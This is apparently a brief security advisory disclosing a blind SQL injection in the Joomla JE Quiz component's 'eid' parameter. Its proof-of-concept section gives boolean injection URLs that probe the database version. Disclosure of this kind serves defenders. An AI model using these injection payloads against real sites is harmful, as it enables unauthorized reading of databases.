Joomla Component JE Quiz Blind SQL Injection Vulnerability

[~]>> ...[BEGIN ADVISORY]... !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> TITLE: Joomla (JE Quiz component) BLIND SQL Injection Vulnerability [~]>> LANGUAGE: PHP [~]>> DORK: N/A [~]>> RESEARCHER: B-HUNT3|2 [~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com [~]>> TYPE: COMMERCIAL [~]>> PRICE: $20.00 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> DESCRIPTION: Input var eid is vulnerable to SQL Code Injection [~]>> AFFECTED VERSIONS: Confirmed in 1.b01 but probably other versions also [~]>> RISK: Medium/High [~]>> IMPACT: Execute Arbitrary SQL queries !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> PROOF OF CONCEPT: [~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=[SQL]&Itemid=163 [~]>> {RETURN TRUE::RETURN FALSE} [~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=5,1,0)&Itemid=163 [~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=4,1,0)&Itemid=163 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]...